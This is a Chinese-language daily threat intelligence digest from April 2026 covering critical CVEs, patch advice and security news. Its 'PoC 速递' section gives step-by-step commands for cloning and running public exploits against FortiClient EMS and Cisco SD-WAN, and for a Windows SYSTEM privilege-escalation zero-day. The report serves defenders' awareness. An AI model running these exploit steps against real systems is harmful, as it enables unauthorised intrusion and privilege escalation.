每日安全情报报告 · 2026-04-10

报告生成时间 ：2026-04-10 11:09 CST
数据来源 ：The Hacker News · Telefónica Tech · FreeBuf · watchTowr Labs · Palo Alto Security · Help Net Security · Tenable · CISA · GitHub
风险等级说明：🔴 严重（CVSS ≥ 9.0）｜🟠 高危（CVSS 7.0--8.9）｜🟡 中危（CVSS 4.0--6.9）

一、高危漏洞速报

🔴 CVE-2026-35616 --- Fortinet FortiClient EMS 预认证 RCE（在野利用 · CISA KEV）

属性	详情
CVE 编号	CVE-2026-35616
漏洞类型	不正确访问控制（Improper Access Control）→ 未授权远程代码执行
受影响组件	Fortinet FortiClient EMS 7.4.5、7.4.6
CVSS 评分	9.1（严重）
在野利用	✅ 已确认，零日在野利用（2026-03-31 watchTowr 传感器首次发现，Fortinet 2026-04-04 发布公告）
PoC 状态	已公开（GitHub 已有多个 PoC 仓库）
CISA KEV	✅ 已收录，为必须修复项

漏洞描述 ：FortiClient EMS API 存在严重的访问控制缺陷，攻击者无需身份验证即可向暴露的 API 端点发送特制请求，直接在底层服务器上执行任意命令，获得系统级权限。这是数周内第二个 FortiClient EMS 未授权 RCE（另一个为 CVE-2026-21643）。当前超过 2,000 个 暴露实例处于高危状态。

修复建议 ：

立即应用 Fortinet 为 7.4.5/7.4.6 发布的带外热修复
等待完整补丁版本 FortiClient EMS 7.4.7
检查异常 API 请求日志及端点安全策略的未授权变更

🔗 The Hacker News 报道 · watchTowr 技术分析 · Tenable 详情

🔴 CVE-2026-21643 --- Fortinet FortiClient EMS SQL 注入 RCE（在野利用）

属性	详情
CVE 编号	CVE-2026-21643
漏洞类型	SQL 注入 → 远程代码执行
受影响组件	Fortinet FortiClient EMS 7.4.4
CVSS 评分	9.8（严重）
在野利用	✅ 已确认活跃利用

漏洞描述：FortiClient EMS 7.4.4 中的 SQL 注入漏洞，攻击者可利用该漏洞实现远程代码执行。与 CVE-2026-35616 组合使用时构成完整攻击链，危害极大。

修复建议：升级至最新版本；在防火墙层面限制 FortiClient EMS 管理端口的公网访问。

🔗 Greenbone 安全公告 · Bleeping Computer 报道

🟠 CVE-2026-0234 --- Palo Alto Cortex XSOAR/XSIAM Microsoft Teams 集成加密签名验证绕过

属性	详情
CVE 编号	CVE-2026-0234
漏洞类型	加密签名验证不当（CWE-347）→ 未授权访问/篡改
受影响组件	Cortex XSOAR Microsoft Teams Marketplace 集成包 1.5.0--1.5.51；Cortex XSIAM 同版本范围
CVSS 评分	7.2（高危）/ CVSS 4.0 基础评分 9.2
发布日期	2026-04-08
在野利用	❌ 暂未发现

漏洞描述：Cortex XSOAR 和 XSIAM 的 Microsoft Teams 集成在验证来自 Teams 的消息签名时存在严重缺陷，未经身份验证的攻击者可伪造请求，访问和修改受保护资源（如 SOAR 剧本、事件工单、自动化流程）。

修复建议 ：

立即将 Microsoft Teams Marketplace 集成包升级至 1.5.52 或更高版本
当前无已知缓解措施，必须更新

🔗 Palo Alto 官方安全公告 · VPN Central 报道 · CyberPress 详情

🟠 CVE-2026-20160 --- Cisco SSM On-Prem 未授权 RCE（持续活跃）

属性	详情
CVE 编号	CVE-2026-20160
漏洞类型	未授权远程代码执行
受影响组件	Cisco Smart Software Manager On-Prem (SSM On-Prem)
CVSS 评分	9.8（严重）
在野利用	⚠️ 在野扫描和利用持续活跃

漏洞描述：未经授权的攻击者可通过向暴露的内部服务 API 发送特制请求，以管理员权限在底层系统上执行任意命令。无已知缓解措施，必须立即修补。

🔗 腾讯漏洞情报 · Cyber Security Review 4月汇总

🟠 CVE-2026-20093 --- Cisco IMC 认证绕过（持续在野扫描）

属性	详情
CVE 编号	CVE-2026-20093
漏洞类型	认证绕过 → 管理员权限获取
受影响组件	Cisco Integrated Management Controller (IMC)
CVSS 评分	8.7（高危）
在野利用	⚠️ 持续扫描利用中

漏洞描述：攻击者可通过发送特制 HTTP 请求远程修改系统密码，从而获取 IMC 管理员权限。已有官方修补，但无替代缓解措施，需立即更新。

🔗 Telefónica 安全周报（4月4-10日）

二、漏洞 PoC 速递

🔴 PoC-1：CVE-2026-35616 Fortinet FortiClient EMS 预认证 RCE

来源：GitHub · z3r0h3ro/CVE-2026-35616-poc（发布于 2026-04-05）

技术原理 ：

利用 FortiClient EMS API 端点的访问控制缺陷，攻击者无需提供任何认证凭据，直接通过精心构造的 HTTP 请求实现任意命令执行。影响暴露在公网的 EMS 7.4.5/7.4.6 实例。

使用步骤（仅供安全研究与授权渗透测试）：

bash 复制代码

# 1. 克隆仓库
git clone https://github.com/z3r0h3ro/CVE-2026-35616-poc.git
cd CVE-2026-35616-poc

# 2. 安装依赖
pip install -r requirements.txt

# 3. 检查目标是否存在漏洞（扫描模式）
python exploit.py --target https://<ems-host> --check

# 4. 利用漏洞执行命令（仅在授权系统上测试）
python exploit.py --target https://<ems-host> --cmd "whoami"

风险评估：公开 PoC 已使该漏洞的大规模利用门槛极低，强烈建议优先修复。

🔗 PoC 仓库 · Tenable 漏洞详情

🔴 PoC-2：BlueHammer --- Windows 本地提权零日（未修补 · 在野披露）

来源：GitHub · technoherder/BlueHammerFix（最初由 "Nightmare-Eclipse" 于 2026-04-03 发布）

技术原理 ：

BlueHammer 针对 Windows Defender 签名更新机制 ，链式利用两个核心缺陷：

TOCTOU 竞态条件 （Time-of-Check to Time-of-Use）
路径混淆漏洞（Path Confusion）

成功利用后可读取 SAM 数据库，提取本地密码哈希，最终将普通用户权限提升至 SYSTEM 级别 。影响 Windows 10/11 及 Windows Server 最新版本，目前微软尚未发布补丁。

使用步骤（仅供安全研究与授权渗透测试）：

bash 复制代码

# 1. 克隆仓库（社区修复版本）
git clone https://github.com/technoherder/BlueHammerFix.git
cd BlueHammerFix

# 2. 使用 Visual Studio 或 MSBuild 编译
msbuild BlueHammer.sln /p:Configuration=Release

# 3. 在受害机器上运行（需本地访问）
.\BlueHammer.exe

# 4. 成功后检查提权状态
whoami /all

⚠️ 注意：原始 PoC 存在可靠性问题（作者 Nightmare-Eclipse 在发布时已说明），社区修复版本稳定性有所提升但仍不稳定。微软正在调查，建议通过限制本地访问、启用 Credential Guard 等方式临时降低风险。

🔗 GitHub PoC · Help Net Security 报道 · FreeBuf 中文报道 · RH-ISAC 威胁情报

🔴 PoC-3：CVE-2026-20127 Cisco Catalyst SD-WAN 预认证 RCE

来源：GitHub · zerozenxlabs/CVE-2026-20127---Cisco-SD-WAN-Preauth-RCE

技术原理 ：

Cisco Catalyst SD-WAN Manager 中的预认证 RCE 漏洞，攻击者无需凭据即可通过网络发送特制请求执行任意代码，直接接管 SD-WAN 控制器。

使用步骤（仅供安全研究与授权渗透测试）：

bash 复制代码

# 1. 克隆利用框架
git clone https://github.com/zerozenxlabs/CVE-2026-20127---Cisco-SD-WAN-Preauth-RCE.git
cd CVE-2026-20127---Cisco-SD-WAN-Preauth-RCE

# 2. 安装 Python 依赖
pip install requests

# 3. 扫描目标是否存在漏洞
python poc.py -t <target-ip> --scan

# 4. 利用漏洞（授权测试环境）
python poc.py -t <target-ip> -c "id; uname -a"

🔗 GitHub PoC 仓库

三、安全资讯精选

📰 1. Anthropic Claude Mythos：AI 首次大规模自主发现数千个零日漏洞

来源：Help Net Security · The Hacker News 报道（2026-04-08/09）

Anthropic 于 2026 年 4 月 7 日发布 Claude Mythos Preview，在未经专项安全训练的情况下，该模型自主发现了数千个跨主流操作系统和浏览器的零日漏洞，并能独立编写完整利用链（包括 CVE-2026-4747 FreeBSD NFS 服务器 17 年老漏洞的 RCE 利用代码）。

由于该模型的网络攻击能力过于危险，Anthropic 已将其限制在 Project Glasswing 安全联盟中，仅对 40+ 家机构开放，专用于防御性安全研究。此举标志着 AI 驱动的漏洞挖掘时代正式开启，传统漏洞管理体系面临前所未有的冲击。

🔗 Help Net Security 详细报道 · Winbuzzer 分析

📰 2. TeamPCP 供应链攻击升级：CERT-EU 确认 340 GB 欧盟平台数据外泄

来源：Telefónica Tech 周报（4月4-10日）

CERT-EU 本周正式确认：攻击者通过被篡改的 Trivy 容器扫描工具（供应链投毒）窃取 AWS 密钥，随后利用 TruffleHog 进一步扩大权限，最终外泄约 340 GB（压缩后 91.7 GB） 的数据，涉及 71 个客户的欧盟官方网站数据（europa.eu AWS 环境），包括姓名、用户名、邮箱等个人信息。这是 Trivy 供应链投毒攻击的持续升级。

🔗 Telefónica 安全周报

📰 3. Storm-1175 利用 Medusa 勒索软件 24 小时内完成"闪电攻击"

来源：Telefónica Tech 周报（基于微软 2026-04-06 披露）

中国背景的 APT 组织 Storm-1175 持续升级攻击手法，采用**"闪电式勒索"** 策略：快速利用 Exchange、Ivanti、TeamCity 等产品的 N-day/0-day 漏洞，初始入侵后 24 小时内完成数据外泄并部署 Medusa 勒索软件，使受害组织几乎没有响应时间。受影响行业覆盖医疗、教育、金融等关键基础设施。

🔗 Telefónica 安全周报

📰 4. BlueHammer Windows 零日：心怀不满的研究员公开未修补 SYSTEM 提权漏洞

来源：Help Net Security · FreeBuf 中文报道

安全研究员 "Chaotic Eclipse" 因不满微软安全响应中心（MSRC）处理效率低下，于 2026-04-03 直接在 GitHub 公开了未修补的 Windows 本地提权零日漏洞利用代码 BlueHammer。该漏洞利用 Defender 更新机制中的 TOCTOU 和路径混淆漏洞提权至 SYSTEM，影响 Windows 最新版本。微软尚未发布补丁，仅表示"正在调查"。安全研究社区警告，此类激进的漏洞披露方式可能迅速被勒索软件组织采用。

🔗 Help Net Security 报道 · FreeBuf 中文报道 · Cyderes 技术分析

📰 5. Atomic Stealer（AMOS）macOS 新型传播：利用 Script Editor 绕过系统防护

来源：Telefónica Tech 周报

Atomic Stealer（AMOS）最新变种通过伪装成 Apple 主题的虚假网站诱骗 macOS 用户下载恶意脚本，利用系统内置的 Script Editor 在内存中执行恶意负载，完全绕过 macOS Gatekeeper 防护机制。成功感染后可窃取 Safari/Chrome 密码、Cookie、信用卡信息、加密货币钱包助记词，并植入持久化后门。macOS 用户应警惕非官方来源的软件下载。

🔗 Telefónica 安全周报

四、今日安全摘要

类别	今日重点
最高威胁	CVE-2026-35616 FortiClient EMS 在野零日（CISA KEV，2000+ 暴露实例）
未修补零日	BlueHammer Windows SYSTEM 提权（微软正在调查，暂无补丁）
新漏洞披露	CVE-2026-0234 Palo Alto Cortex 加密签名绕过（CVSS 7.2/9.2，已出补丁）
持续威胁	Cisco IMC/SSM 在野扫描持续；Storm-1175 闪电勒索攻击
标志性事件	Claude Mythos AI 自主发现数千零日，AI 攻击时代进入拐点
供应链警报	TeamPCP Trivy 投毒：340 GB 欧盟数据外泄，CERT-EU 确认

免责声明：本报告所有 PoC 信息仅供授权安全研究和渗透测试使用，请勿用于非法用途。所有外部链接指向原始信息来源，请在安全环境中访问。

数据来源 ：The Hacker News · Help Net Security · Telefónica Tech · watchTowr · Palo Alto Security · Tenable · FreeBuf · GitHub · CISA